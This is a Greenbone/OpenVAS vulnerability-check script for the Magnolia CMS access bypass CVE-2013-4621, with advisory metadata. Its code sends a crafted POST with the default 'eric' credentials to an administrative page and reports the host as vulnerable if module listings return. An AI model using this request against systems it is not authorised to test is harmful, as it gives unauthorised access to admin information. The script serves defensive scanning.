Magnolia CMS Access Bypass Vulnerability

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.803679");
  script_version("2023-07-27T05:05:08+0000");
  script_cve_id("CVE-2013-4621");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2023-07-27 05:05:08 +0000 (Thu, 27 Jul 2023)");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2020-01-04 15:25:00 +0000 (Sat, 04 Jan 2020)");
  script_tag(name:"creation_date", value:"2013-07-01 10:09:04 +0530 (Mon, 01 Jul 2013)");
  script_name("Magnolia CMS Access Bypass Vulnerability");
  script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2013/Jun/202");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/60761");
  script_xref(name:"URL", value:"http://exploitsdownload.com/exploit/na/magnolia-cms-458-access-bypass");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_family("Web application abuses");
  script_require_ports("Services/www", 8080);
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to bypass certain security
  restrictions, obtain sensitive information and perform unauthorized actions.");
  script_tag(name:"affected", value:"Magnolia CMS version 4.5.8 and prior");
  script_tag(name:"insight", value:"The flaw allows non-administrator users to view contents from
  magnoliaPublic/.magnolia/log4j, /pages/logViewer.html,
  /pages/configuration.html, /pages/sendMail.html, /pages/permission.html,
  /pages/installedModulesList.html, and /pages/jcrUtils.html pages.");
  script_tag(name:"solution", value:"Upgrade to Magnolia CMS 4.5.9 or later.");
  script_tag(name:"summary", value:"Magnolia CMS is prone to an access bypass vulnerability.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_xref(name:"URL", value:"http://www.magnolia-cms.com");
  exit(0);
}

include("http_func.inc");
include("port_service_func.inc");
include("host_details.inc");

port = http_get_port(default:8080);

req = http_get(item:string("/magnoliaPublic/.magnolia/pages/adminCentral.html"), port:port);
res = http_send_recv(port:port, data:req);

if(">Magnolia" >< res && ">Magnolia International Ltd" >< res)
{

  host = http_host_name(port:port);

  url = "/magnoliaPublic/.magnolia/pages/installedModulesList.html ";
  Postdata = "mgnlUserId=eric&mgnlUserPSWD=eric";
  sndReq = string("POST ", url, " HTTP/1.1\r\n",
                  "Host: ", host,"\r\n",
                  "Referer: http://", host, url, "\r\n",
                  "Content-Type: application/x-www-form-urlencoded\r\n",
                  "Content-Length: ",strlen(Postdata), "\r\n\r\n",
                  Postdata);

  rcvRes = http_send_recv(port:port, data:sndReq);

  if(rcvRes && ">Installed modules" >< rcvRes && "Name" >< rcvRes &&
               "Description" >< rcvRes)
  {
    security_message(port:port);
    exit(0);
  }
}